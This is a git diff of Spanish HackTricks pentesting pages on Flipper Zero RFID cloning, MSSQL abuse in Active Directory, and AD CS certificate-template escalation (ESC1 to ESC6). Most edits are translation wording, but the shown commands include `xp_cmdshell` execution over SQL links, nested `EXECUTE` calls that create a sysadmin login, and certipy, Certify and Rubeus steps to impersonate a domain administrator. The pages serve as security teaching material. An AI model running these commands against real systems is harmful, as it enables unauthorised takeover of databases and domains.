<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -33,13 +33,13 @@ Para obtener más información sobre estos tipos de etiquetas, [**lee esta intro
|
|||
|
||||
### Leer
|
||||
|
||||
Intenta **leer** la información de la tarjeta. Luego puedes **emular** la tarjeta.
|
||||
Intenta **leer** la información de la tarjeta. Luego puede **emular** la tarjeta.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que algunos intercomunicadores intentan protegerse contra la duplicación de llaves enviando un comando de escritura antes de la lectura. Si la escritura tiene éxito, esa etiqueta se considera falsa. Cuando Flipper emula RFID, no hay forma de que el lector lo distinga del original, por lo que no se producen tales problemas.
|
||||
{% endhint %}
|
||||
|
||||
### Agregar Manualmente
|
||||
### Añadir Manualmente
|
||||
|
||||
Puedes crear **tarjetas falsas en Flipper Zero indicando los datos** manualmente y luego emularlas.
|
||||
|
||||
|
@ -50,38 +50,38 @@ A veces, al obtener una tarjeta, encontrarás el ID (o parte de él) escrito en
|
|||
* **EM Marin**
|
||||
|
||||
Por ejemplo, en esta tarjeta EM-Marin es posible **leer los últimos 3 de 5 bytes en claro** en la tarjeta física.\
|
||||
Los otros 2 se pueden forzar si no puedes leerlos en la tarjeta.
|
||||
Los otros 2 se pueden forzar por fuerza bruta si no puedes leerlos en la tarjeta.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **HID**
|
||||
|
||||
Lo mismo ocurre en esta tarjeta HID donde solo 2 de 3 bytes se pueden encontrar impresos en la tarjeta
|
||||
Lo mismo ocurre en esta tarjeta HID donde solo se pueden encontrar 2 de 3 bytes impresos en la tarjeta
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1011).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Emular/Escribir
|
||||
|
||||
Después de **copiar** una tarjeta o **ingresar** el ID **manualmente**, es posible **emularla** con Flipper Zero o **escribirla** en una tarjeta real.
|
||||
Después de **copiar** una tarjeta o **introducir** el ID **manualmente**, es posible **emularla** con Flipper Zero o **escribirla** en una tarjeta real.
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -1,18 +1,18 @@
|
|||
# Abuso de MSSQL AD
|
||||
# Abuso de AD MSSQL
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -70,9 +70,9 @@ Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
|
|||
## This won't use trusted SQL links
|
||||
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
|
||||
```
|
||||
### RCE de MSSQL
|
||||
### MSSQL RCE
|
||||
|
||||
También podría ser posible **ejecutar comandos** dentro del host de MSSQL
|
||||
También podría ser posible **ejecutar comandos** dentro del host MSSQL
|
||||
```powershell
|
||||
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
||||
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
||||
|
@ -153,7 +153,7 @@ Ejecute consultas a través del enlace (ejemplo: encontrar más enlaces en la nu
|
|||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Verifica dónde se utilizan comillas dobles y simples, es importante usarlas de esa manera.
|
||||
Verifica dónde se utilizan las comillas dobles y simples, es importante usarlas de esa manera.
|
||||
{% endhint %}
|
||||
|
||||
.png>)
|
||||
|
@ -166,9 +166,11 @@ SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''p
|
|||
# Second level RCE
|
||||
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
|
||||
```
|
||||
### Manual - EJECUTAR
|
||||
Si no puedes realizar acciones como `exec xp_cmdshell` desde `openquery()`, intenta con el método `EXECUTE`.
|
||||
|
||||
También puedes abusar de los enlaces de confianza utilizando `EXECUTE`:
|
||||
### Manual - EXECUTE
|
||||
|
||||
También puedes abusar de enlaces de confianza usando `EXECUTE`:
|
||||
```bash
|
||||
#Create user and give admin privileges
|
||||
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||||
|
@ -178,23 +180,23 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
|||
|
||||
El usuario local de **MSSQL** generalmente tiene un tipo especial de privilegio llamado **`SeImpersonatePrivilege`**. Esto permite que la cuenta "suplante a un cliente después de la autenticación".
|
||||
|
||||
Una estrategia que muchos autores han ideado es forzar a un servicio **SYSTEM** a autenticarse en un servicio falso o de intermediario creado por el atacante. Este servicio falso puede suplantar al servicio **SYSTEM** mientras intenta autenticarse.
|
||||
Una estrategia que muchos autores han ideado es forzar a un servicio del sistema a autenticarse en un servicio falso o de intermediario que el atacante crea. Este servicio falso puede entonces suplantar al servicio del sistema mientras intenta autenticarse.
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato) tiene una colección de estas diversas técnicas que se pueden ejecutar a través del comando `execute-assembly` de Beacon.
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato) tiene una colección de estas diversas técnicas que pueden ejecutarse mediante el comando `execute-assembly` de Beacon.
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -28,7 +28,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
### Explicación
|
||||
|
||||
### Explicación de Plantillas de Certificados Mal Configuradas - ESC1
|
||||
### Plantillas de Certificados Mal Configuradas - ESC1 Explicadas
|
||||
|
||||
* **Se otorgan derechos de inscripción a usuarios de bajo privilegio por parte de la CA empresarial.**
|
||||
* **No se requiere aprobación del gerente.**
|
||||
|
@ -36,16 +36,16 @@ Otras formas de apoyar a HackTricks:
|
|||
* **Los descriptores de seguridad en las plantillas de certificados son excesivamente permisivos, lo que permite a usuarios de bajo privilegio obtener derechos de inscripción.**
|
||||
* **Las plantillas de certificados están configuradas para definir EKUs que facilitan la autenticación:**
|
||||
* Se incluyen identificadores de Uso Extendido de Clave (EKU) como Autenticación de Cliente (OID 1.3.6.1.5.5.7.3.2), Autenticación de Cliente PKINIT (1.3.6.1.5.2.3.4), Inicio de Sesión con Tarjeta Inteligente (OID 1.3.6.1.4.1.311.20.2.2), Cualquier Propósito (OID 2.5.29.37.0), o sin EKU (SubCA).
|
||||
* **Se permite a los solicitantes incluir un subjectAltName en la Solicitud de Firma de Certificado (CSR) mediante la plantilla:**
|
||||
* El Directorio Activo (AD) prioriza el subjectAltName (SAN) en un certificado para la verificación de identidad si está presente. Esto significa que al especificar el SAN en un CSR, se puede solicitar un certificado para hacerse pasar por cualquier usuario (por ejemplo, un administrador de dominio). Si un solicitante puede especificar un SAN se indica en el objeto AD de la plantilla de certificado a través de la propiedad `mspki-certificate-name-flag`. Esta propiedad es una máscara de bits, y la presencia de la bandera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permite la especificación del SAN por el solicitante.
|
||||
* **La capacidad para que los solicitantes incluyan un subjectAltName en la Solicitud de Firma de Certificado (CSR) está permitida por la plantilla:**
|
||||
* El Directorio Activo (AD) prioriza el subjectAltName (SAN) en un certificado para la verificación de identidad si está presente. Esto significa que al especificar el SAN en un CSR, se puede solicitar un certificado para hacerse pasar por cualquier usuario (por ejemplo, un administrador de dominio). Si un solicitante puede especificar un SAN está indicado en el objeto AD de la plantilla de certificado a través de la propiedad `mspki-certificate-name-flag`. Esta propiedad es una máscara de bits, y la presencia de la bandera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permite la especificación del SAN por el solicitante.
|
||||
|
||||
{% hint style="danger" %}
|
||||
La configuración mencionada permite a usuarios de bajo privilegio solicitar certificados con cualquier SAN de elección, lo que habilita la autenticación como cualquier principal de dominio a través de Kerberos o SChannel.
|
||||
La configuración descrita permite a usuarios de bajo privilegio solicitar certificados con cualquier SAN de elección, lo que permite la autenticación como cualquier principal de dominio a través de Kerberos o SChannel.
|
||||
{% endhint %}
|
||||
|
||||
A veces esta característica se habilita para admitir la generación dinámica de certificados HTTPS o de host por productos o servicios de implementación, o debido a una falta de comprensión.
|
||||
Esta característica a veces se habilita para admitir la generación dinámica de certificados HTTPS o de host por productos o servicios de implementación, o debido a una falta de comprensión.
|
||||
|
||||
Se observa que la creación de un certificado con esta opción desencadena una advertencia, lo cual no ocurre cuando se duplica una plantilla de certificado existente (como la plantilla `WebServer`, que tiene `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitado) y luego se modifica para incluir un OID de autenticación.
|
||||
Se observa que la creación de un certificado con esta opción desencadena una advertencia, lo cual no es el caso cuando se duplica una plantilla de certificado existente (como la plantilla `WebServer`, que tiene `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitado) y luego se modifica para incluir un OID de autenticación.
|
||||
|
||||
### Abuso
|
||||
|
||||
|
@ -54,12 +54,12 @@ Para **encontrar plantillas de certificados vulnerables** puedes ejecutar:
|
|||
Certify.exe find /vulnerable
|
||||
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
|
||||
```
|
||||
Para **abusar de esta vulnerabilidad para hacerse pasar por un administrador**, se podría ejecutar:
|
||||
Para **abuzar de esta vulnerabilidad para hacerse pasar por un administrador** se podría ejecutar:
|
||||
```bash
|
||||
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
|
||||
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
|
||||
```
|
||||
Luego puedes transformar el **certificado generado a formato `.pfx`** y usarlo para **autenticarte usando Rubeus o certipy** nuevamente:
|
||||
Luego puedes transformar el **certificado generado a formato `.pfx`** y usarlo para **autenticarte nuevamente usando Rubeus o certipy**:
|
||||
```bash
|
||||
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
||||
|
@ -79,7 +79,7 @@ El segundo escenario de abuso es una variación del primero:
|
|||
1. Los derechos de inscripción son otorgados a usuarios de bajo privilegio por la CA de la Empresa.
|
||||
2. Se deshabilita el requisito de aprobación del gerente.
|
||||
3. Se omite la necesidad de firmas autorizadas.
|
||||
4. Un descriptor de seguridad excesivamente permisivo en la plantilla de certificado otorga derechos de inscripción de certificados a usuarios de bajo privilegio.
|
||||
4. Un descriptor de seguridad excesivamente permisivo en la plantilla de certificado otorga derechos de inscripción de certificado a usuarios de bajo privilegio.
|
||||
5. **La plantilla de certificado está definida para incluir el EKU de Cualquier Propósito o ningún EKU.**
|
||||
|
||||
El **EKU de Cualquier Propósito** permite que un certificado sea obtenido por un atacante para **cualquier propósito**, incluyendo autenticación de cliente, autenticación de servidor, firma de código, etc. La misma **técnica utilizada para ESC3** puede ser empleada para explotar este escenario.
|
||||
|
@ -96,15 +96,15 @@ Para enumerar las plantillas que coinciden con este escenario dentro del esquema
|
|||
|
||||
### Explicación
|
||||
|
||||
Este escenario es similar al primero y al segundo pero **abusando** de un **EKU diferente** (Agente de Solicitud de Certificado) y **2 plantillas diferentes** (por lo tanto tiene 2 conjuntos de requisitos).
|
||||
Este escenario es similar al primero y al segundo, pero **abusando** de un **EKU diferente** (Agente de Solicitud de Certificado) y **2 plantillas diferentes** (por lo tanto, tiene 2 conjuntos de requisitos).
|
||||
|
||||
El **EKU del Agente de Solicitud de Certificado** (OID 1.3.6.1.4.1.311.20.2.1), conocido como **Agente de Inscripción** en la documentación de Microsoft, permite a un principal **inscribirse** para un **certificado** **en nombre de otro usuario**.
|
||||
El **EKU del Agente de Solicitud de Certificado** (OID 1.3.6.1.4.1.311.20.2.1), conocido como **Agente de Inscripción** en la documentación de Microsoft, permite a un principal **inscribirse** para un **certificado** en **nombre de otro usuario**.
|
||||
|
||||
El **"agente de inscripción"** se inscribe en una **plantilla** y utiliza el **certificado resultante para co-firmar un CSR en nombre del otro usuario**. Luego **envía** el **CSR co-firmado** al CA, inscribiéndose en una **plantilla** que **permite "inscribir en nombre de"**, y el CA responde con un **certificado perteneciente al "otro" usuario**.
|
||||
El **"agente de inscripción"** se inscribe en una **plantilla** y utiliza el **certificado resultante para co-firmar un CSR en nombre del otro usuario**. Luego **envía** el **CSR co-firmado** a la CA, inscribiéndose en una **plantilla** que **permite "inscribir en nombre de"**, y la CA responde con un **certificado perteneciente al "otro" usuario**.
|
||||
|
||||
**Requisitos 1:**
|
||||
|
||||
* Los derechos de inscripción se otorgan a usuarios de bajo privilegio por parte del CA de la empresa.
|
||||
* Los derechos de inscripción se otorgan a usuarios de bajo privilegio por la CA de la empresa.
|
||||
* Se omite el requisito de aprobación del gerente.
|
||||
* No hay requisito de firmas autorizadas.
|
||||
* El descriptor de seguridad de la plantilla de certificado es excesivamente permisivo, otorgando derechos de inscripción a usuarios de bajo privilegio.
|
||||
|
@ -112,11 +112,11 @@ El **"agente de inscripción"** se inscribe en una **plantilla** y utiliza el **
|
|||
|
||||
**Requisitos 2:**
|
||||
|
||||
* El CA de la empresa otorga derechos de inscripción a usuarios de bajo privilegio.
|
||||
* La CA de la empresa otorga derechos de inscripción a usuarios de bajo privilegio.
|
||||
* Se evita la aprobación del gerente.
|
||||
* La versión del esquema de la plantilla es 1 o excede 2, y especifica un Requisito de Emisión de Política de Aplicación que requiere el EKU del Agente de Solicitud de Certificado.
|
||||
* Un EKU definido en la plantilla de certificado permite la autenticación de dominio.
|
||||
* No se aplican restricciones para los agentes de inscripción en el CA.
|
||||
* No se aplican restricciones para los agentes de inscripción en la CA.
|
||||
|
||||
### Abuso
|
||||
|
||||
|
@ -136,9 +136,9 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password
|
|||
```
|
||||
Los **usuarios** que tienen permitido **obtener** un **certificado de agente de inscripción**, las plantillas en las que los **agentes** de inscripción tienen permiso para inscribirse, y las **cuentas** en nombre de las cuales el agente de inscripción puede actuar pueden ser restringidas por las CAs empresariales. Esto se logra abriendo el `certsrc.msc` **snap-in**, **haciendo clic derecho en la CA**, **haciendo clic en Propiedades**, y luego **navegando** a la pestaña "Agentes de inscripción".
|
||||
|
||||
Sin embargo, se observa que la configuración **predeterminada** para las CAs es "No restringir agentes de inscripción". Cuando los administradores habilitan la restricción sobre los agentes de inscripción, estableciéndola en "Restringir agentes de inscripción", la configuración predeterminada sigue siendo extremadamente permisiva. Permite que **Todos** tengan acceso para inscribirse en todas las plantillas como cualquier persona.
|
||||
Sin embargo, se observa que la configuración **predeterminada** para las CAs es "No restringir agentes de inscripción". Cuando los administradores habilitan la restricción sobre los agentes de inscripción, estableciéndola en "Restringir agentes de inscripción", la configuración predeterminada sigue siendo extremadamente permisiva. Permite que **Everyone** acceda para inscribirse en todas las plantillas como cualquier persona.
|
||||
|
||||
## Control de acceso vulnerable a plantillas de certificados - ESC4
|
||||
## Control de acceso a plantillas de certificados vulnerable - ESC4
|
||||
|
||||
### **Explicación**
|
||||
|
||||
|
@ -162,11 +162,11 @@ Un ejemplo de una escalada de privilegios como la anterior:
|
|||
|
||||
ESC4 es cuando un usuario tiene privilegios de escritura sobre una plantilla de certificado. Esto, por ejemplo, puede ser abusado para sobrescribir la configuración de la plantilla de certificado y hacer que la plantilla sea vulnerable a ESC1.
|
||||
|
||||
Como podemos ver en la ruta anterior, solo `JOHNPC` tiene estos privilegios, pero nuestro usuario `JOHN` tiene el nuevo enlace `AddKeyCredentialLink` a `JOHNPC`. Dado que esta técnica está relacionada con certificados, también he implementado este ataque, conocido como [Credenciales en sombra](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Aquí hay un pequeño vistazo al comando `shadow auto` de Certipy para recuperar el hash NT de la víctima.
|
||||
Como podemos ver en la ruta anterior, solo `JOHNPC` tiene estos privilegios, pero nuestro usuario `JOHN` tiene el nuevo enlace `AddKeyCredentialLink` a `JOHNPC`. Dado que esta técnica está relacionada con certificados, también he implementado este ataque, que se conoce como [Credenciales en sombra](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Aquí hay un pequeño vistazo al comando `shadow auto` de Certipy para recuperar el hash NT de la víctima.
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
**Certipy** puede sobrescribir la configuración de una plantilla de certificado con un solo comando. Por **defecto**, Certipy **sobrescribirá** la configuración para hacerla **vulnerable a ESC1**. También podemos especificar el parámetro **`-save-old` para guardar la configuración anterior**, lo cual será útil para **restaurar** la configuración después de nuestro ataque.
|
||||
**Certipy** puede sobrescribir la configuración de una plantilla de certificado con un solo comando. Por **defecto**, Certipy sobrescribirá la configuración para hacerla **vulnerable a ESC1**. También podemos especificar el parámetro **`-save-old` para guardar la configuración antigua**, lo cual será útil para **restaurar** la configuración después de nuestro ataque.
|
||||
```bash
|
||||
# Make template vuln to ESC1
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
||||
|
@ -183,9 +183,9 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
|
|||
|
||||
La extensa red de relaciones interconectadas basadas en ACL, que incluye varios objetos más allá de las plantillas de certificados y la autoridad de certificación, puede afectar la seguridad de todo el sistema AD CS. Estos objetos, que pueden afectar significativamente la seguridad, incluyen:
|
||||
|
||||
- El objeto de computadora AD del servidor de CA, que puede ser comprometido a través de mecanismos como S4U2Self o S4U2Proxy.
|
||||
- El servidor RPC/DCOM del servidor de CA.
|
||||
- Cualquier objeto o contenedor descendiente de AD dentro de la ruta de contenedor específica `CN=Servicios de Clave Pública,CN=Servicios,CN=Configuración,DC=<DOMINIO>,DC=<COM>`. Esta ruta incluye, pero no se limita a, contenedores y objetos como el contenedor de Plantillas de Certificados, el contenedor de Autoridades de Certificación, el objeto NTAuthCertificates y el Contenedor de Servicios de Inscripción.
|
||||
* El objeto de computadora AD del servidor de CA, que puede ser comprometido a través de mecanismos como S4U2Self o S4U2Proxy.
|
||||
* El servidor RPC/DCOM del servidor de CA.
|
||||
* Cualquier objeto o contenedor AD descendiente dentro de la ruta de contenedor específica `CN=Servicios de Clave Pública,CN=Servicios,CN=Configuración,DC=<DOMINIO>,DC=<COM>`. Esta ruta incluye, pero no se limita a, contenedores y objetos como el contenedor de Plantillas de Certificados, el contenedor de Autoridades de Certificación, el objeto NTAuthCertificates y el Contenedor de Servicios de Inscripción.
|
||||
|
||||
La seguridad del sistema PKI puede verse comprometida si un atacante con privilegios bajos logra obtener control sobre alguno de estos componentes críticos.
|
||||
|
||||
|
@ -193,9 +193,9 @@ La seguridad del sistema PKI puede verse comprometida si un atacante con privile
|
|||
|
||||
### Explicación
|
||||
|
||||
El tema discutido en el [**post de CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) también aborda las implicaciones de la bandera **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, según lo establecido por Microsoft. Esta configuración, cuando se activa en una Autoridad de Certificación (CA), permite la inclusión de **valores definidos por el usuario** en el **nombre alternativo del sujeto** para **cualquier solicitud**, incluidas aquellas construidas a partir de Active Directory®. En consecuencia, esta disposición permite a un **intruso** inscribirse a través de **cualquier plantilla** configurada para la **autenticación de dominio**—específicamente aquellas abiertas a la inscripción de usuarios **sin privilegios**, como la plantilla de Usuario estándar. Como resultado, se puede asegurar un certificado, lo que permite al intruso autenticarse como un administrador de dominio u **otra entidad activa** dentro del dominio.
|
||||
